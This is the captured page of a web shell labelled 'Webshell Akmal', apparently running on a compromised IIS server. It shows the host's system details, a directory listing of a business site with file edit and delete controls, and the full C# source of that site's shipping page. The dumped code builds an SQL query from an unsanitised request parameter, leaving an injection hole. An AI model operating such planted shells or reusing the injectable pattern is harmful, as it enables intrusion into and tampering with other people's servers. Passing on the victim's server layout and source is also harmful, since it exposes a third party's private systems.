Webshell Akmal archtte id
System:
Microsoft Windows NT 10.0.20348.0
Server:
Microsoft-IIS/10.0
User:
buyyou
Directory:
C:
\
MyData
\
WWW
\
asc365
\
Name
Size
Type
Actions
ASC365_CANADA
-
Directory
Rename
Delete
ASC365_Store01
-
Directory
Rename
Delete
aspnet_client
-
Directory
Rename
Delete
CompanyImage
-
Directory
Rename
Delete
TJGS_USA
-
Directory
Rename
Delete
zhijian
-
Directory
Rename
Delete
Memo.inc
0 bytes
.inc
Edit
Rename
Delete
web.config
213 bytes
.config
Edit
Rename
Delete
using System; using System.Collections.Generic; using System.Linq; using System.Web; //using System.Web.UI; //using System.Web.UI.WebControls; using wzLib; using System.Data; using System.IO; using System.Drawing; using System.Drawing.Printing; using iTextSharp.text; using iTextSharp.text.pdf; namespace App.prog { public partial class shipping : System.Web.UI.Page { string orderno = ""; string storcode = ""; protected void Page_Load(object sender, EventArgs e) { if (!IsPostBack) { string busId = Request["sabillno"]; string str2 = "select orderno from sa_order where sabillno='" + busId + "' and status=1"; Dictionary<string, string> usd = SQLHelper.getOneRow(str2); if (usd.Count > 0) { orderno = usd["orderno"]; storcode = Request.QueryString["storcode"]; string empcode = Request.QueryString["empcode"]; Gettracking sc = new Gettracking(); string str1 = sc.get64(busId, storcode, empcode); if (str1.Length > 0) { string name = storcode + orderno; sc.ProcessRequest(str1, name); string path1 = Server.MapPath("../Image/" + storcode + orderno + ".png"); string path2 = Server.MapPath("../Image/" + storcode + orderno + ".pdf"); string path3 = "../Image/" + storcode + orderno + ".pdf"; ConvertJPG2PDF(path1, path2); //Response.Redirect(path3); Response.Write("<script>location.href='"+path3+"';</script>"); // Response.Write("<script>window.opener=null;window.close();</script>"); } else { Response.Write("<script>alert('该订单未能成功发货,请手动填写!')</script>"); Response.Write("<script>window.opener=null;window.close();</script>"); } } else { Response.Write("<script>alert('未能找到该订单,或该订单已发货')</script>"); Response.Write("<script>window.opener=null;window.close();</script>"); } } } public string getsrc() { string newname = "../Image/" + storcode + orderno + ".png"; return newname; } public void ConvertJPG2PDF(string jpgfile, string pdf) { iTextSharp.text.Rectangle pageSize = new iTextSharp.text.Rectangle(304,477); var document = new Document(pageSize,0,0,0,0); using (var stream = new FileStream(pdf, FileMode.Create, FileAccess.Write, FileShare.None)) { PdfWriter.GetInstance(document, stream); document.Open(); using (var imageStream = new FileStream(jpgfile, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) { var image =iTextSharp.text.Image.GetInstance(imageStream); if (image.Height > pageSize.Height) { image.ScaleToFit(pageSize.Width , pageSize.Height ); } else if (image.Width > pageSize.Width ) { image.ScaleToFit(pageSize.Width, pageSize.Height); } image.Alignment = iTextSharp.text.Image.ALIGN_MIDDLE; document.Add(image); } document.Close(); } } public string FullFileName { get; set; } protected void Button1_Click1(object sender, EventArgs e) { //打印预览 //PrintPreviewDialog ppd = new PrintPreviewDialog(); PrintDocument pd = new PrintDocument(); //设置边距 Margins margin = new Margins(1, 1, 1, 1); pd.DefaultPageSettings.Margins = margin; pd.PrintPage += new PrintPageEventHandler(this.pd_PrintPage); try { pd.Print(); } catch (Exception ex) { pd.PrintController.OnEndPrint(pd, new PrintEventArgs()); } } private void pd_PrintPage(object sender, PrintPageEventArgs e) { string newname = "../Image/" + storcode + orderno + ".png"; System.Drawing.Image temp = System.Drawing.Image.FromFile(@newname); GetResultIntoImage(ref temp); int x = e.MarginBounds.X; int y = e.MarginBounds.Y; int width = temp.Width; int height = temp.Height; System.Drawing.Rectangle destRect = new System.Drawing.Rectangle(x, y, width, height); e.Graphics.DrawImage(temp, destRect, 0, 0, temp.Width, temp.Height, System.Drawing.GraphicsUnit.Pixel); } private void GetResultIntoImage(ref System.Drawing.Image temp) { //读取图片模板 Graphics g = Graphics.FromImage(temp); System.Drawing.Font f = new System.Drawing.Font("Bold", 12); Brush b = new SolidBrush(Color.Black); g.Dispose(); } } }